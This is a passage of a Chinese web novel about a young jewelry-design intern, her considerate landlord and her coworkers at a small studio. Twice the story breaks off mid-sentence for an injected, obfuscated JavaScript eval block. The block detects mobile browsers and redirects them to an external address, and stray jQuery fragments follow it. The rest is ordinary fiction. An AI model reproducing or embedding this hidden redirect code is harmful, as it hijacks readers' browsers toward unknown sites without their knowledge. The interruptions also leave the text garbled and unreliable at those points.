走至车厢门,下了车,出地铁口。
外边再次下雨,播报的冷空气回温,再过一星期就是立夏。
她呼吸一口雨天潮湿的空气让自己清醒些,按下电源键亮起屏幕去看。
第三个发信息过来的是黎嘉年。
[JN:楼上租客今天搬走了,我让阿姨打扫干净了,你明天有空搬家吗?没空的话再在我家住一段时间吧。]
她哪敢再住下去。
二人生活习惯完全相反,她散漫无序,在自己领地时随地大小躺。他整洁干净,酱油瓶都有特定的位置,出门进门必喷酒精,连别西卜这种精力旺盛的比格犬都闻不到多少狗味。
再继续和他生活,就必须在他搭建的框架里走动,稍微越过界限,可能就会惹人反感。林予星想想就难受,她习惯自己一个人,实在没办法改变。
就这么几分钟路程,如果他还没睡,今晚就搬吧?
林予星想着,撑开破旧的雨伞,急匆匆往小区赶去。
快要十二点。
人行道上没有多少人,电动车也少许多。
五彩缤纷的霓虹灯关闭,死气沉沉悬挂在店门上,路灯昏暗,依稀可见上面文字。
卷帘门贴着各色小广告,有的被铲下来,留下发黄胶痕,仿佛一块疤盖在上面。
伞尖雨水滴滴答答映着微光在眼前落下,汪着白的反光、黄的路灯、红的车尾灯,装满这扭曲的世界,在地上砸成圈圈涟漪。
直到明黄越来越多,几乎灌满雨滴。
四周昏黑,小区门口的路灯却像要照亮方圆百里,明亮的不可思议。
疲惫双眼被这抹光刺疼,林予星稍稍挪开伞,抬头去看路灯。
水蚁仅剩寥寥几个绕着灯火飞舞,地上应是经过一轮雨水清洗,不剩多少尸体。
脏水混着浊物与颗粒流入下水道口,她听到"滴"一声,小区伸缩门开了。
与此同时,远处传来骂骂咧咧动静,在夜里几乎能清晰听到。
保安亭窗户打开。
"靓女,咁夜翻黎,加班呐?"满头花白的老人打开窗户,探出头来。
林予星点头,撑起疲惫笑意:"嗯,加班。谢谢阿伯,这么晚还帮我开门。"
"咁辛苦,不如叫靓仔房东同你介绍翻工啦。"
她不回答,只笑笑走进小区。
没了栅栏遮挡视线,林予星往前望去,终于看到在大半夜发出动静的是哪。
附近阿姨三三两两聚集,喊着骂着让自己老伴回家拿东西。
袋子鼓鼓囊囊,用雨衣罩住,塞到空着的脚踏板上。
在她们中间,刘杰妻子被她们七手八脚扶上电动车,足月的肚子很大很大,像罩在粉色棉布下的瓷瓦罐,被小心翼翼放在后座上,浮肿四肢宛如粗麻绳,网住圆滚滚的罐子不让它掉下去。
林予星路过时听了两耳朵,这才听清她们究竟在吵什么。
刘杰妻子要生了,可是刘杰没有准备备产包,更不想花钱叫救护车。
她驻足于屋檐下,望向人群。
目光下移时,她忽然发现刘杰妻子粉色孕妇裙下有片暗色,丝丝缕缕腥臭混着风雨吹来,有种避不开的惘然。
远处,刘杰磨磨蹭蹭想穿个雨衣,结果储藏雨衣的地方被他老婆坐着,这么多人在他不好意思叫自己老婆起来,欲言又止下被阿姨叔叔们催着上路。
"行啦!某遮啊!"
"雷老婆咁样,你仲唔快点送去医院。"
"大男人,淋点雨水又点!喇喇声开车。"
"走啊!"刘杰妻子捂着肚子,脸上分不清是汗还是雨水,凝结在她发梢上。
她疼得用手捶了下刘杰后腰,在男人投下的影子中,看不清神情。
电动车总算驶动,刘杰淋着雨,带着后座罩上蓝色儿童雨衣的女人快速离开。
雨天路滑,他开太快,险些滑倒,被急急忙忙跑出来帮忙的保安扶了下。
见他这样,那群路过帮忙的阿姨叔叔们骂得更厉害,纷纷指责他没点用,在这关口掉链子。
从小区到医院,开电动车十分钟就能到,他却连这十分钟都撑不起来。
林予星耳边听邻居们各种粤韵风华,眼睛却盯着电动车后座的女人,直到她们消失在转角处,终于收回视线,在没人注意到的角落打开防盗门上楼。
伞尖回收成一束,在夜里留下蜿蜒墨色痕迹。
她没有回黎嘉年家,而是上楼看了看自己即将搬去的地方。
门没有锁,她轻而易举就能进去。
望见里面黑魆魆一片,她摸索着去开灯。
"哒"灯光大亮。
和原先单间格局镜像反转而已,空间大许多,家具也多了不少。
她将伞挂在窗口,脱鞋走进去。
地板沁凉,透过米白薄袜传入脚掌。
应是除湿过,并不如何潮,空气中甚至隐约浮动柠檬香气。
穿过客厅,来到床边,应该是黎嘉年给她准备的被子枕头,罩了一层布放在床头。
零零碎碎的还有许多新用具,白色台灯、苹果水杯、甚至床尾书桌放了面梳妆镜。
日常所需基本全齐。
林予星打开抽屉,看到里面有张便利贴,字迹清晰隽秀,牵丝映带,很漂亮的行书,应是小时候练过。
[给你买的,不用再买了。也不用想着怎么报答,有空请我吃顿饭就行。]
捏着纸条的手紧了紧。
习习似椒的酸涩与疼袭来,她眼睛蓦地发红发疼。
林予星微微仰头,想把这刻脆弱连同眼泪一起咽回去,结果看到天花板上崭新云朵形灯盏时愈发想哭。
黎欣和自己在一起时,处处照顾她,分手也体面温柔。
轮到她弟黎嘉年,是比黎欣还要难以拒绝的体贴入微。
这种好时隔多年,仍旧令她无所适从。
"多赚钱啊,予星。"她轻声喊出自己的名字,又道,"学好了,往高处走。有空做个兼职,一切都会好起来的。"
一切都会好起来的。
林予星收拾好心情,没有关闭此处灯光,下楼后回到黎嘉年家里。
墙上时钟指向十二点。
客厅灯还开着,是专门为她留的。
他早睡早起,別西卜却是精力旺盛,见到她回来,摇着尾巴上来要摸。
陪它玩了会布团球,林予星轻声说:"你乖乖的啊,我要搬走了,好好陪他。"
"汪……呜呜……"它高亢只叫了一声,立刻被林予星掐住嘴筒子,手动静音。
这个雨夜,依旧安静。
雨势到后半夜愈发大,遮掩许多声响。
一道身影从楼下走到楼上,来来回回走了两趟。
等到最后一次出现时,已是凌晨。
关上灯,就如这栋楼闭上黄澄澄的眼睛,陷入安眠。
白日有雨。
醒来时周身酸痛。
黎嘉年坐在床上缓了缓,迷迷糊糊拿起床头柜上的手机。
屏幕亮起。
才八点整。
真是上班上傻了,到现在都改不过来。
他再度倒回床,刚想放任自己睡个回笼觉,突然想起昨夜发的信息林予星似乎没有回。
住在同一屋檐下,她晚出晚归,他骨折复工后早起早回,两人时间差距太大,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826784|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他摸不清她的行踪,只知道她加班越来越晚。
她该不会一整晚没回来?
加了个通宵?
黎嘉年想到这,慢慢起身,听了听屋外动静,发现安静的有些诡异。
他迅速踩上家居鞋,打开房间门去看斜对门房间——那曾经是黎欣住的地方。
意外的是,向来紧闭的屋门这次打开了。
不仅打开了,里边什么都没了。
他愣了愣,拉开门,走到林予星曾住过的房间外。
里头关于她的私人物件的确都没了,一根头发都没落下。
小物件摆放的整整齐齐,床上用具甚至洗过烘过一轮,折叠齐整放在床上。
别西卜听到动静,叼着狗绳过来,想让黎嘉年带它出去玩,兴奋“汪汪”两声后倒在地上摊开肚皮。
黎嘉年沉默。
他低头去看地板,拖过。
犄角旮旯,擦过。
再去看狗,洗过。
一尘不染。
仿佛没人住过。
黎嘉年说不清是什么滋味,他当然知道她去了哪,正是因为知道,所以觉得有些难过。
“汪汪!”别西卜哼哼唧唧叫着,闹腾不已,两只大眼睛里满是渴望。
心里那点气撒在它身上。
黎嘉年不轻不重拍了下它屁股:“她走你不叫我。”
“汪!”它以为他在跟它玩闹,前肢趴下,摇着尾巴撅起屁股,两只长耳朵垂落在地,是个邀请玩耍的姿势。
黎嘉年头疼,轻声骂了句脏话,走进林予星房间。
环顾四周,倒也不是什么都没留。
留了张纸。
他拿起一看,是她的字迹。
正楷偏草,骨体刚硬,收尾凌厉,像刀一样锋利。
黎欣与她谈恋爱的那几年,不论是她的字迹还是她的画,黎嘉年都记得清清楚楚,几乎可以一眼就分辨。
[黎嘉年,谢谢你这几天的照顾,我把房间打扫干净啦。知道你有洁癖,所以用酒精拖过,別西卜我也顺手洗了。住的这几天,希望不会给你带来麻烦。抽屉里的纸条我看了~有钱了一定请你去酒楼吃饭~]
越看越不是滋味……
黎嘉年原本以为她至少要再住个两三天。
结果一觉醒来,人就已经离开。
她估计连钥匙都没拿,凭着对他,对黎欣弟弟这个身份的信任,拎包就上去住了。
他放下纸,越过別西卜,走到厨房冰箱。
保鲜区门打开,里面放满两人份蔬果,还有两碗昨天熬煮的癍痧凉茶,可以祛湿。
黎嘉年看着里面双人份的东西,沉默了很久很久。
久到冰箱以为没人,发出"叮叮"声提醒主人关门。
屋子里静悄悄的,除了別西卜没有任何声音。
如果林予星还在,这里不会显得这么空空荡荡,毫无人气。
她就算呆在房间不发出声音,呼吸也能穿过感情墙壁,穿过屏风木柜,抵达他心里。
就像一块石头,沉甸甸地压在放出的风筝线上。
父母不在,姐姐出国。
朝朝热闹,一瞬孤寂。
黎嘉年抿唇,将里面的鱼腥草熬煮出的凉茶拿出,倒进别西卜狗碗里。
“哼呜呜……汪……”别西卜看看碗里的水,又看看他,试探性地用鼻子拱拱狗绳。
它想出去玩!
不想喝凉茶!
黎嘉年冷冷看它:"喝。"
別西卜磨蹭半晌,趴在地上死活不动,见他脸色不好,只能委委屈屈吐出舌头,边觑他脸色边舔完清橙色凉茶。
它肯喝,黎嘉年放下心,起身去处理灶台锅里的药材。
揭开砂锅盖,从楼下抓来的中药材已混杂成棕黑色。
夏枯草、金银花、蒲公英、菊花、罗汉果……
尽数倒进垃圾袋。
锅沿淌下淅淅沥沥药水,滴答如屋檐流下的水。
一滴接一串,像散落的透明糖粒,在地上融化成汁。
別西卜穿着黄色小雨衣兴致冲冲下楼,大耳朵晃得跟两片风扇叶似的。
它四处嗅闻,丝毫不管是不是雨天,歪着脑袋,黑色鼻子贴上红色塑料袋。
穿着紫色碎花上衣的奶奶看到他,笑眯眯问:"靓仔房东,今日唔使翻工起咁早?要去边度?"
黎嘉年撑着伞,无奈道:"放狗,随便行下。今日落雨边都不想去。"
"同你一起住的靓女仲咩没一起?"奶奶有些好奇,语气中多少有些暧昧。
他不得不收起懒散语气,认真道,"予星是我家姐朋友,我楼上寻日搬走咗,佢搬过去住,不会同我一直住落去。"
原来是这样。
奶奶收起调侃的心思,叹口气:"系咁,雷咁大个仔,仲唔稳个女朋友?"
黎嘉年目光有瞬间偏移,又再次晃回,他不由自主软了语气:"我有中意嘅人,仲等紧佢。"
等她出校园。
等她分手走出。
等她来到自己身边。
等了一年又一年,一岁又一岁。
要是行差踏错,就此结束,连做朋友都带着隔阂。
毕竟她是那样,随心所欲,防备心重,外冷内也冷的人。
能走进她心里的,只有天长日久的伴随。
14.车仔面
平平淡淡又是将近半个月过去,工作室里才哥宣布要画点端午节题材作为宣传。
要不是他提醒,一行人根本注意不到已近月底,再过两天就是端午。
而这半个月,最大的变化或许就是新来了个实习生。
是个短发妹妹,和林予星在同一所学校毕业。
姓朱,叫彩佳,性格活泼开朗,跟谁都能说上话。
周栗亲切叫她佳佳后,林予星也开始这么喊她。
“佳佳,中午一起吃饭吗?”
“这里反位画的不对,稍稍改一下,侧面结构记得再看下书。”
“晚上加班回去要小心噢佳佳,有什么不对的记得打电话。”
她们在尽最大的可能帮助她学到东西,佳佳照单全收,礼貌说好。
新实习生进来后,才哥再次采取放养模式,不怎么管林予星,更不怎么管佳佳。
好在这间工作室还有周栗在,哪怕没多少钱赚,氛围却很好。
林予星很喜欢跟她在一起,能学到东西,且周栗私底下性格很有趣,是个资深的二次元,和她在一起,似乎连加班都没有那么难熬。
直到某天十点下班,三人收拾完工具,而佳佳并不着急走时出现一丝微妙转折。
“你们先走吧,我等人。”佳佳笑着跟她们挥手。
圆乎乎的脸蛋上,那双上挑的丹凤眼格外明亮,带着少女的青春洋溢。
林予星也朝她挥挥手:“那你注意安全,到家后在群里说一声。”
“好,予星,注意安全。”
佳佳话音刚落,周栗笑着问:“等的不会是男朋友吧?”
原本已经拎包要走出门口的林予星回过身,八卦地问:“真的吗?”
“我单身。”佳佳不太好意思道,迅速扫了眼会客室,羞涩道,“好啦,你们快回家吧,我在等我闺蜜。”
周栗不动声色,那双杏仁眼中闪过复杂神色。
拎着单肩包的左手玛瑙镯与银镯叮叮当当发出悦耳动静,她顿了顿,这才说:“你还是快点回家吧,才哥女朋友晚点会来,小心抓你继续加班。”
平平常常的一句话,只有林予星听不懂其中含义,好奇问:“她什么时候来?我来这之后没见过她。”
“你见过的。”周栗无奈,“工作室书架上那张NGTC鉴定师就是她,你肯定没认真看过,光找款式了吧?”
“……”林予星不好意思地撇开目光,“咳,我还是先回去吧。明天过来看。”
“走了。”周栗走过佳佳身边,又看了她一眼。
佳佳面色有些不太好看,嘴角笑意若有似无淡下几分。
周栗最后丢下一句:“路上小心。”
路上小心呐。
不要行差踏错。
人生路口繁多,哪怕前路未明,也不要选择看似最明亮简单的那条路。
说完,二人背着包走出工作室,只留佳佳一人在原地。
玻璃门紧闭,才哥在里面无知无觉吞云吐雾,翻看杂志,骨节分明的手指被烟草染的发黄,他听到脚步声,侧过头看去。
会客厅开着昏黄小灯,外面却是照得亮如白昼。
明亮白灯随着浑浊玻璃门漏入一线亮色,逐渐变成扇子半开状。
女孩身上香气馥郁,温温柔柔的花香调随着光线无声倾洒,又霎时被烟味掩盖。
佳佳大着胆子探头进来,看到才哥略像几分谢霆锋的脸上露出疑惑,额前碎发遮挡住眉眼,烟草燃烧,隐约遮住他的眉眼,在昏暗中忧郁而颓靡。
"才哥。"她小心叫了他一声。
"有事?"男人的目光透过缝隙往外看,"周栗和予星都回去了?"
"嗯。她们都走啦,只是周栗姐今天教的我不太懂,看你在这正好问问。"佳佳说完,递过来一张牛皮纸,"这个侧视图我怎么画也画不出予星姐说的那种金属感,她讲的明暗分界线我听不懂,就想来问问你。"
"她这么快也能教人?"才哥愈发困惑,"你把她画的给我看看。"
那些低于五万的珠宝单子他都是交给周栗处理,根本懒得看。
低端客户钱少事多,不值得他出马,自然而然对处理这些小单的林予星不怎么上心。
佳佳愣住,没想到他注意力在这,有些不太开心。
她没说什么,只是眼角眉梢耷拉下来,转身出去拿林予星画的图。
浅褐色卡纸很硬,纸边被捏出痕迹,铺白底的颜料干涸后有些地方因为没有掌握好量,微微干裂。
但对比刚来时进步很大,大到像两个人画的那样。
才两个星期,变化这么快?
"她是学美术出身,有些词你听不懂很正常。"才哥边说边接过佳佳手上的图,两相一对比,高下立分。
他想起自己兄弟阿華招林予星进来时给的一千块工资,现在确实回本了。
林予星确实有天赋,犹如质地上佳的红宝矿石,稍加打磨就焕发光彩。
灵感多、画得快、效率高。
现在……
才哥叼着烟仔细看她画的画。
没记错的话,主石是街对面卖青金石的商铺送来出图的。
不规则洒金深蓝色青金石呈倒三角形,金黄色不规则包镶,避免爪镶带来的违和。
上方画了城堡,白黄黑分色处理。为了控制成本没有画的过于夸张,点缀蓝宝石与白钻,只加入两三颗帕拉伊巴点睛,精致优雅,是二三十岁女人喜欢的款式。
拢共用了五种颜色,却按比例分配,没有出现色彩过多导致的混乱,廉价。褪去市场货的廉价,终于有高定珠宝该有的矜贵感。
"顿悟型的啊……"
难怪才几天没管她,就已经到这种程度……
他喃喃,心下佩服阿華看人的眼光,又隐隐生出几分忧虑。
佳佳没听清,追问了句:"你说什么,才哥?"
"没什么。"他放下林予星的图,拿过一旁铅笔,重新给佳佳画示例图,"你这个图,色彩只是小问题,大问题是形没打好,透视也不对。周栗是不是给你改过?你别盯着林予星色彩好,抓眼,先把这步路走好……"
佳佳抿唇,小心翼翼看他一眼,见他不是在指责自己,只是在说自己问题,这才蹲在茶几旁听他讲怎么改。
时间一点一滴流逝。
两指间夹着的香烟燃尽,落进暗处,那点橙红色火星失去可供吞食的燃料,化为一缕青烟后湮入茶水中。浊黄污水晃出涟漪,不知何时,水面飘来片小小树叶,倒映出女孩半边脸颊。
路边洒水车留下的水积攒在路旁未干,来往商铺早在六点就陆续关门,此时这条街上全是加班后着急回家的人。
林予星蹲下在路边系鞋带,不过五秒就系完起身。
她随意扫了眼旁边水滩,那根被路人随手乱扔的烟头已经熄灭。
周栗替她拎着包,望向不远处招牌,似乎在思考什么。
"要买面包吗?"林予星从周栗手中拿过帆布包,循着她视线看去,"好像打烊了,店员在拖地。"
"不买。"周栗收回目光,和她又往前走了几步,慢声开口,"予星,你觉不觉得,佳佳怪怪的?"
"哪怪?挺好的呀。"
佳佳没有工资,在工作室学习的挺努力的。
林予星想了想,没想出来哪里怪。
"你……唉,算了。"周栗叹口气,"你明天自己观察下吧,还有,有些时候,不用教的太明白,她也需要自己思考。"
"哦……好。"林予星听劝,耐不住好奇追问,"到底哪里怪?"
"你自己观察。"周栗本来还想告诉她多点心眼,但侧过脸看到她那双黑白分明的眼睛又把话咽了回去。
算了,还是吃点亏吧。
吃点亏才会成长。
林予星已经有意和普兰顿工作室的男性保持距离,華哥不会主动,才哥有贼心没贼胆。经过这么多天相处,周栗知道她是个什么样子的人,是能放心的。
可刚毕业的学生还单纯,容易被男人所积攒下的才华、财富、地位等等高出她们所在阶层的光环所迷惑,做出不可逆转的事。
周栗已经出社会两年多,在深城、港城都呆过,作为过来人,自然而然清楚这个年龄段的小女孩都在想什么。
等到目送林予星上了地铁,她拿出手机,给才哥女朋友发短信。
[悦姐,你快到工作室了吗?]
那边回的很快:[快到门口了,那家夜宵太火了现在才走过来,你下班了?]
[栗子:嗯嗯,下班了,那就不打扰你们啦~(可爱.jpg)]
[悦姐:这样吧,明天午饭我请你们吃酸菜鱼,你让其他两个女孩别带饭了。]
周栗想了想,不经意间想起曾瞄到林予星困窘的余额,跟悦姐说了声好。
能省一顿是一顿,自己还有家里支撑,林予星似乎什么都没有。
孤身一人。
形单影只。
在几声"滴滴——"尖锐响动后,车门缓缓关闭。
工作人员穿着黄色制服伸手横在门前,提醒外面等地铁的乘客乘坐下一班车。
夏天车厢内弥漫一股难闻的孜然味。
面前站着的大叔一手抓着头顶吊环,一手拿手机,左脚踩在右脚背上,姿态闲散且不顾及旁人,靠在柱子上不动。
林予星看了眼他皱皱巴巴袖子中冒出黑森林般茂盛的腋毛,默默转过身走在门边,将背抵在门框上等到站。
上车下车,地铁人头攒动,满载一车疲惫的人一站接一站停泊,将她们送回住处。
等下地铁,走至路边,看到卖车仔面的摊位,林予星顿时觉得饿得不行。
她今晚没吃晚饭,这个月钱花的差不多,十块钱的炒粉她都嫌贵。
鬼鬼祟祟扫了眼摊位旁边的价位表,她近视看不大清,正想着要不回去吃泡面算了,就听到摊主阿姨喊了句:"车仔面,三块钱一份~"
刚刚还犹豫不决的人立刻走过去,全款买下一份车仔面。
那摊主阿姨看林予星瘦弱,又急着想收摊,干脆把卖不完的鱼蛋和萝卜烧麦都给了她。
捧着满满一碗只要三块钱的车仔面,林予星觉得自己今天运气真好,走路脚步都轻盈许多。
行回小区,十点左右已不如白天热闹。
家家户户都亮着灯,不时有小孩嚎叫声和大人打骂声响起。
林予星懒得再回去吃,干脆在小区内找了个有石桌的地方坐下。
紫荆花凋谢,生长出长条豆荚,绿彩带般在树梢上挂着。
路灯透过树叶间的缝隙洒下,光斑亮的像是金黄色碎玻璃,四散各处。
极致的明与暗中,她打开塑料盒,放出被挤得变形的车仔面,顺带拿出包里纸笔。
一次性筷子掰开,米白竹筷有刺,她掰去那点尖尖,用左手夹了个烧麦放进嘴里,右手拿起笔,在纸上随意画出蜿蜒曲折线条后想到什么画什么。
这是她一直以来放松的方式,从小到大,都是这样。
父母离婚后没有怎么管过她,童年就是无止尽的争吵,双方互殴,亲戚拉架与没有停歇过的谩骂。
她夹在其中,承受来自两方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876393|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
压迫,以至于到现在她都无法消除父母在她身上留下的烙痕。
遇事回避,不擅争吵,情绪激动时语无伦次……
孤僻、不合群、偏激、心理阴暗……
周围人苦劝双方为了孩子不要轻易分开,于是母亲为了家庭美满和血吞下负面情绪,压抑不住时便向她开刀。
她不会跑,她跑不远,她没有第二个家。
她不会回嘴,她没有钱,她还小,不能独立生活。
她不会保护自己,她只能被迫吞下父母倾倒过来的垃圾情绪,硬生生从喉管塞入,再从眼里流出。
然而腐坏的物质终究留在身体里。
没有爱,没有钱,她不过是父母制造出来的螺丝钉。
在社会上,底层的技工,打工的牛马,到年纪就淘汰的工具。
在家庭里,是随时吸血的血包,从小就要学会帮忙赚钱的童工,长大后无论住不住家都要交家用的理财产品。
父母从未关心她的内心想法。
养她二十年,只为给他们剩下的五十余年做养老保障。
没人问她想不想出生。
没人问她要不要体验社会。
也没人问她需不需要看四海。
她承受精神上的痛苦,日复一日,在画中世界找到可以暂时休憩的小角落。
于是现在,不过十五分钟,画纸出现雏形,依稀看出是两个人形与崩坏的末日世界。
她举起左手的筷子,吃下拌了XO酱的萝卜,口感清甜,咬一口便出汁。
鱼丸说不出是甜还是咸,只知异常弹牙。
烧麦皮薄馅大,软糯却不腻。
一点一滴,随着画笔移动,一次性碗中渐空。
林予星想,既然逃离了山城,来到这,不如再跑远点吧?
她少时想周游世界的梦,不如全放进画纸中,画个长长的连载漫画?
小料吃完,终于轮到底下的车仔面。
如意料中的,被压成坨状,她干脆先放下画笔,把余下的甜鲜面条吃完,酱料里残留的海鲜汁也被她吃得一干二净。
吃饱了,脑子也清醒了。
没有出过省,那就安排个其他背景吧。
被核废水污染后的异变世界,少女冒险流浪,大长篇公路漫画?
她抬头望向路灯,眼眸渐亮。
笔尖在纸上再次移动,很快,两名穿着末世工装防护服的少女出现在纸张上,一个是经典双马尾,一个是长发。
但是……
末世了,这样会不会废洗发水?
她想了想,划掉长发,改成齐耳短发,另外一个改成单侧中短马尾。
接下来是命名,叫什么名字好呢?
笔尖飞快列出几个名字,但又很快划掉。
林予星不顾身处环境昏暗,对眼睛不好,一味沉浸在创作中无法自拔。
她没有注意时间已经悄然过了十一点,没注意小区里冷清地只剩零星几人匆匆行过,更没有注意不远处有两双眼睛看向自己这个方向。
一双是刘杰妻子,她从医院出来,因为生的是女儿,刘杰没有去接她。大晚上回来看到林予星,她驻足观察会后从袋子里拿出一小瓶酸奶,小心翼翼放在桌子边缘,随后悄无声息离开。
黎嘉年挥别小区内聊得来的住户,留在原地不动。此刻他满身烧烤味,不得不站会去味,眼角余光却在留意刘杰妻子陈萍。
她生产完不久,肚子还是鼓鼓的,头上包着粉色毛线帽,给林予星留下盒卡士酸奶。而那画画的人,无知无觉不说……
等味道散去大半,他走过去,慢慢坐在她对面。
——嗯,已经沉浸在她自己制造的世界,眼里只剩下那张A4纸。
黎嘉年仔细去看,才知道她在画漫画。
画的很快,或许是因为美术功底扎实,人体在他这个外行人看来,是正常的。寥寥几笔线条干净利落,虽是草稿,但已能看出初期剧情走向。
目光不由从画转移到她脸上,她没有擦嘴,嘴角沾着酱,不多,像即将凋零的昙花,被名为时间的红棕色腐化、侵蚀。
算算日子,从她搬走后他就没怎么见过她,两人作息不同,想要碰上难上加难,今天她要不是突然在这出现,估计又见不上面。
她怎么这么忙?
忙什么呢?
一千块钱没社保又免费加班的工作真的值得吗?
难道比嫁给罗森还痛苦?
黎嘉年知道她不该困在婚姻家庭中,却忍不住想,她究竟受过什么委屈,宁愿千里迢迢跑来这吃廉价饭菜,过压抑生活也绝不回家。
望着她好半晌,黎嘉年目光又从她脸上转到未收拾的一次性碗筷上。
空气隐约漂浮丝丝缕缕鲜味,是熟悉的车仔面味。
他收回目光,再次看她。
手机屏幕上时间跳动,逐渐指向十二。
天边乌云散开,露出澄黄的毛边月亮,像丢入锅里煎炒的溏心鸡蛋,透过发白蛋白,隐约可见其中未熟的蛋黄流体。
林予星感到脖子僵硬,这才从思绪中拔出。她抬起头,正想舒展酸痛筋骨,结果一抬头看到对面有人,吓得她没握紧笔,从虎口滑落,“啪嗒”一声掉落在地。
“总算注意到我了?”黎嘉年用手支着脸,精致温和的脸上看不出喜怒,“好久不见。”
见她瞪圆眼睛,半天不动,他接着幽幽道:“我这几天都在生你气,看来你没发现啊,忙,忙点好啊,得罪人你都不管。”
林予星依旧一动不动,满脑子都在想,他还活着吗?怎么跟鬼一样出现的这么突然?
15.荷叶糯米鸡
“你……不开心吗?”
想来想去,也没想出到底哪里得罪黎嘉年。
林予星自认为自己做的很好,边距感强,她从不去他书房房间,减少二人接触。没有挖他隐私,不打听他私人信息。更没找他借钱,拖欠房租之类的。
她盯着他黑色尖晶石般漂亮的眼睛,不自觉问:“是我走那天,哪里没打扫干净吗?”
黎嘉年无言半晌,叹口气说:“狗都快给你打层发胶了,怎么会不干净。我说的,是别的事。”
路灯昏黄,映在他眼底,似浮金火彩,熠熠生辉。
并不完全纯黑的眼睛在昏暗中边缘是浅色的,仿佛在望着深幽幽的石井,勾勒出灰亮边缘。
他眼睫并不浓密,却意外的纤长,根根明明。因着眉骨较高,睫毛阴影几乎被覆盖,仅投下三两根,像戴了朦胧眼罩。
林予星望着他,想不到究竟是什么事让他大半夜路过也要找自己算账。
黎嘉年微微歪头,语气漫不经心:“还是没想出来?”
“……嗯。”
不仅没想出来,有那么一瞬间,她还觉得他姿色不错。
靓仔房东四个字,他实至名归。
“我没有要赶你走的意思,怎么走这么快?”黎嘉年终于忍不住挑破,“暂住期间,是我让你觉得哪里不舒服了吗?”
他知道她喜欢清静,于是尽量不打扰,在她上班时才让阿姨过来打扫。
他知道她注重边界,于是从不越过安全距离,克制着与她保持联系。
他不明白自己哪里做得不对,让她连夜搬家,凌晨还把他屋子和狗弄干净才走,好像要就此划分界限,再不见面。
黎嘉年不喜欢在任何社交软件后方问,网络无限拉长空间,屏幕隔绝出安全距离,给了人后退怯弱的的借口。他想正面得到她的回答,看清她微表情下隐藏的真正情绪。
林予星没想到他会打直球,下意识躲闪,又硬生生把自己眼珠子转回来。她望向黎嘉年执着的目光,食指不由按在橡皮上,短甲陷入米白柔软,映下两个弯弯的深色月牙。
“那个……我说了,你不许生气。”她觉得不太好意思。
人家好心收留自己住几天,缓和她那天冲动扇了刘杰所可能引发的危险,表明态度他站在自己这边。她倒好,没有当面表示感谢,反而连夜搬家,没钱还人情不说,现在还搞得黎嘉年当面问,他私底下怕是想了无数次。
“你说,我不生气。”
他情绪管理一向稳定,他的职业也不允许他情绪化。
林予星深呼吸口气,摒弃杂乱念头,真诚道:“其实你没有做错什么,只是我觉得不该再继续打扰你。我现在没钱,贷款上班,请不了你去好地方吃饭,更没办法还你人情。跟你住的这几天,我总觉得我在麻烦你,你很好,只是我不习惯,我东西到处乱放,怕惹你不高兴,所以我想早点搬走。对不起,我应该当面跟你道谢再走的,但是……我,开不了口。”
这下他是真的感觉血压有点高了。
她的话委婉,却清晰传达出二人居住理念不合适。
黎嘉年没想到从小保持的好习惯会给到她压力,他有些头疼:“就因为这?”
“嗯……”
“黎欣跟我洁癖不相上下,也没见你嫌她。”黎嘉年喃喃说了句,不等林予星听清,接着恢复正常语气,“我知道人情债难还,你不用有这么大心理压力。我们认识这么久,哪怕你不记得我,但对我来说,你是朋友。”
林予星脱口而出:“不是你姐吗?”
夜风吹拂而过,白日暑气散尽后变得沁凉。
树叶沙沙作响,纸张被风吹起一角,将金属自动笔往她手边推动。
黎嘉年微微眯起眼,缓慢坐直了些:“你很想听我喊你那两个字吗?”
“咳,没有,不是占你便宜的意思,只是我年纪确实比你大。”
越描越黑,林予星干脆在这止住话头。
她想换个话题,免得太过尴尬,却听到黎嘉年拿起面前的酸奶放到她手边:“刘杰老婆萍姐给你的,估计看你大晚上不回家,觉得辛苦。收拾东西回去吧,别在这了。”
听着有点不对味,至少不像是弟弟该有的语气。
林予星边收拾东西,边在偷偷瞄他。
她顺手收下那瓶酸奶,想着哪天跟萍姐说声谢谢。
刘杰人虽坏,他老婆还是正常的。
等她整理好工具,塞进帆布包,忽然听到黎嘉年说:“你哪天不加班?来我家吃饭。”
林予星奇怪看他,不明白他为什么老跟自己约饭。
黎嘉年干脆说:“两个人的饭好做,一个人难做。我不喜欢陌生人去我家,我姐出国后,住在我附近的朋友只有你。”
前半句几乎一模一样的话从他嘴里说出,林予星想起程芷琳也曾说过同样的话。
两个人的分量,刚刚好好,米可以铺满电饭锅底,菜也可以做两道。
一个人的分量,米不是太干就是太湿,煮出来的饭永远像稀粥,一道菜嫌单调,两道菜又不小心做多。
“我不加班的话,估计只有周天。”她无奈。
普兰顿工作室里華哥的pua能力堪比传.销,拿捏住她们这类没什么经验的人急于学习不同于学校教的课程,更拿捏住学完后或许前途光明的心理白嫖劳动力。
更悲催的是,林予星被拿捏了,也被白嫖了,明知不对,却心甘情愿。
这次机会对她来说太难得,能从商业珠宝转到高定,无疑是从小吃摊转到苍蝇小馆,还能自主创业做大做强,学到就能出师。
哪怕以后不能自己开工作室,也意味着未来广阔。
“嗯,那这个周天我先预定了。”黎嘉年起身,遮住大半撒向她的阴影。
林予星拿起包,忍不住去看他。
逆光中的少年愈发显得柔和,只是眉眼懒散,底光晶莹。
